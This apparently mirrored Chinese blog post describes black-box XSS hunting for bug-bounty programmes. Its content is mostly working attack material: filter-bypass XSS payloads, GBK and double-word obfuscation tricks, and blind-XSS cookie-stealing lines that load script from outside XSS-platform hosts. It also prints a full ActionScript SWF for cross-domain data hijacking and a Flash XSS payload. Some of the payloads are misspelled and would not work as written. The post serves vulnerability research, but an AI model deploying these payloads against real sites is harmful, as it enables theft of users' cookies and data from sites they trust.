zoukankan      html  css  js  c++  java
  • 我是如何黑盒测试XSS漏洞的?

    在挖掘SRC中,很多人挖洞都是挖掘的XSS漏洞,随着Web安全的普及,人类越来越注重自身网站的安全。

    来一篇简单的黑盒测试XSS漏洞的一点方法和个人的一些见解

    一般测试XSS漏洞,一般是简单测试下,而不是直接深层次的绕过代码直接去碰,测试XSS常规的XSS测试语句是:

         "><img/src/onerror=alert(1)>

    屡试不爽

    先讲一个简单的,在测试XSS漏洞的时候,当我们使用这个语句的时候,一般浏览器/网站自身都有过滤和防护

    所以很无奈,这种payload遇到大型网站一般GG了!

    想让这种普通payload触发我们该如何去做?

    我来说一个我实际遇到的情况:

    假设有个提交的表单的页面:表单提交的页面有个添加网站的功能,添加网站功能做了验证,他只允许添加网站,而不允许添加那些非网站的信息,只允许http://xxx.com这种,而不允许text文档。

    遇到类似于这种情况,就是相当于你遇到当网站遇到限制你操作的时候,只允许做某种输入的时候,那么就很有可能存在XSS漏洞。

    我们先输入正确的输入规则然后抓包,然后我们把正确的输入规则改成错误的规则,就是我们上面常规的XSS Payload:

     

    然后我们发包:

     

    这只是其中一种情况,这种漏洞还是蛮常见的。我遇到了好几次了

    我们知道很多时候XSS漏洞的修复不是白盒修复,而是黑盒修复,修复的并不完善:

    有的XSS修复是只过滤了script而没有进行其他标签的过滤:

    提供一点XSS语句:

    <embed src="http://www.baidu.com" />

    <style onload=alert(1)>

    "><iframe onload=alert(1)>

    <input oninput=alert(1)

    很多时候我们会发现使用其他payload会出现意想不到的效果:

      

    网页编码GBK格式绕过过滤方法:

    %bf<script%bf>%bf</script/%bf>

    之前看了个百度的发帖输入XSS payload弹窗的存储型xss漏洞,所用的payload 是:

    <iimgmg src=# onerror=alalertert(document.cookie)>

    双代码绕过思路。其实很多时候输入常规代码不弹窗的时候不要气馁,尝试使用其他payload

         关于XSS盲打,一般是直接借用XSS攻击平台最普通的XSS打cookie语句:

    </tExtArEa>'"><sCRiPt sRC=http://2xss.cc/VgFl></sCrIpT>

    现在程序员对盲打cookie使用这个语句多少有点了解,都会禁止传输textarea标签,等价于这条盲打语句的是:

    <a onmouseover=s=createElement('script');body.appendChild(s);s.src=http://oxss.cn/Qs13>sss</a>

    我临时使用的XSS测试平台是:

    http://xxx/xss.php?do=project&act=create

    很多时候会对<>进行过滤,我们可以进行各种编码绕过这里不讲了,《心伤的瘦子的XSS》文章介绍的很清楚了!

     关于callback,随着互联网的发展,接口出现的频率越来越高,我之前测试的一个网站,百分之80的网站接口都是callback,那么callback接口是否会存在什么安全隐患呢 ?

    答案是必然的,他会存在sql注入,XSS等。

    这里主要是弹XSS漏洞

    提供几个接口测试的XSS payload:

    <img src=1 onerorr=alert(1)>

    javascripr:alert(1)

    vbscript:alert(1)

    举例子三个,我只是抛砖引玉,还可以延生很多XSS语句比如 prompt弹窗都可以,包括大小写,都可能造成弹窗!

    很多时候XSS是过滤的是那些js标签和HTML标签,他没有过滤css标签,那么css外部引用漏洞就变得有机可乘了

    (1)  <span style="font-size:99px;">aaaa</span>

    (2)  <span style="font-size:99px; background:url('//timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1508326019771&di=20c2f2ee7f6c14f62ea9984fd1ebfbd3&imgtype=jpg')">aaaa</span>  

    最后一点关于crossdomain.xml

    很多网站,都存在crossdomain.xml文档,大家一定要注意这个文件,很多高危漏洞都因为他,crossdomain.xml是可以导致跨域的一个重大原因之一。有句话我的印象很深刻,一个swf文件相当于一个高危漏洞,当swf遇到crossdomain.xml文档就是高危的产生。

    swf文件的利用格式是很多的, 提供一份swf文档代码:

    package com.powerflasher.SampleApp {

        import flash.external.ExternalInterface;

        import flash.display.Sprite;

        import flash.display.Sprite;

        import flash.events.Event;

        import flash.net.URLLoader;

        import flash.net.URLRequest;

        import flash.text.TextField;

        import flash.text.TextFieldAutoSize;

        import flash.xml.*;

        import flash.events.IOErrorEvent;

    import flash.events.*;

            import flash.net.*;

    /**

     * @author User

     */

      public class CrossDomainDataHijack extends Sprite {

    private var loader:URLLoader;

            public function CrossDomainDataHijack() {

                loader = new URLLoader();

                configureListeners(loader);

    var target:String = root.loaderInfo.parameters.input;

                var request:URLRequest = new URLRequest(target);

                try {

                    loader.load(request);

                } catch (error:Error) {

                    sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace());

                }

            }

            private function configureListeners(dispatcher:IEventDispatcher):void {

                dispatcher.addEventListener(Event.COMPLETE, completeHandler);

                dispatcher.addEventListener(Event.OPEN, openHandler);

                dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);

                dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);

                dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);

                dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);

            }

            private function completeHandler(event:Event):void {

                var loader:URLLoader = URLLoader(event.target);

                //trace("completeHandler: " + loader.data);

         sendDatatoJS("completeHandler: " + loader.data);

            }

            private function openHandler(event:Event):void {

                //trace("openHandler: " + event);

    sendDatatoJS("openHandler: " + event);

            }

            private function progressHandler(event:ProgressEvent):void {

                //trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);

    sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);

            }

            private function securityErrorHandler(event:SecurityErrorEvent):void {

                //trace("securityErrorHandler: " + event);

    sendDatatoJS("securityErrorHandler: " + event);

            }

            private function httpStatusHandler(event:HTTPStatusEvent):void {

                //trace("httpStatusHandler: " + event);

    sendDatatoJS("httpStatusHandler: " + event);

            }

            private function ioErrorHandler(event:IOErrorEvent):void {

                //trace("ioErrorHandler: " + event);

    sendDatatoJS("ioErrorHandler: " + event);

            }

    private function sendDatatoJS(data:String):void{

                trace(data);

    ExternalInterface.call("sendToJavaScript", data);

    }

        }

    }

     他的绕过后缀有好几种:

    大家要格外注意这一块漏洞!

    要记住文件上传不仅仅可以是拿webshell,还可能是跨域劫持哦。假设文件上传不存在php,asp,aspx,jsp等文件的上传不要灰心,应该尝试html后缀和swf后缀或者是swf文档的隐藏gif  png jpg格式的上传。漏洞挖掘中,我们不应该错过任何一次尝试,每一次错过代表你与漏洞将失之交臂。要始终坚信即使是最安全的系统也可能存在安全漏洞,一切皆有可能。

     关于flash xss文档的制作:

    简单的XSS payload制作:

    getURL("javascript:alert('test')");

      假如我们把我们的swf文件发给其他用户是否会进行文件未对swf的过滤处理?导致收件人预览/打开文件的一瞬间瞬间弹窗呢?

    一切皆有可能。

    我上面所讲的,我都亲身体会挖掘过,附带的提一下CRLF这种漏洞的挖掘思路:

    详情我不说了,看细节文章吧:

    http://www.secevery.com:4321/bugs/wooyun-2016-0173904

    写的很详细,本人非常佩服! XSS问题是个持续性的安全问题,需要广大的安全爱好者们去深入挖掘和突破,他远没有我说的那么简单,他很复杂,值得研究,作者只是抛砖引玉,以后遇到更好的挖掘方式,自会更新!

  • 相关阅读:
    03-JS事件循环-宏任务与微任务
    10-Promise.all和Promise.race
    nodeJS-04
    nodeJS-03
    01-npm / npm install的过程 -nodemon 自动重启
    nodeJS-02
    nodeJS-01
    01-git
    比较运算符,in,instanceof——第十二级
    TCP(Transmission Control Protocol 传输控制协议)
  • 原文地址:https://www.cnblogs.com/darking/p/7865439.html
Copyright © 2011-2022 走看看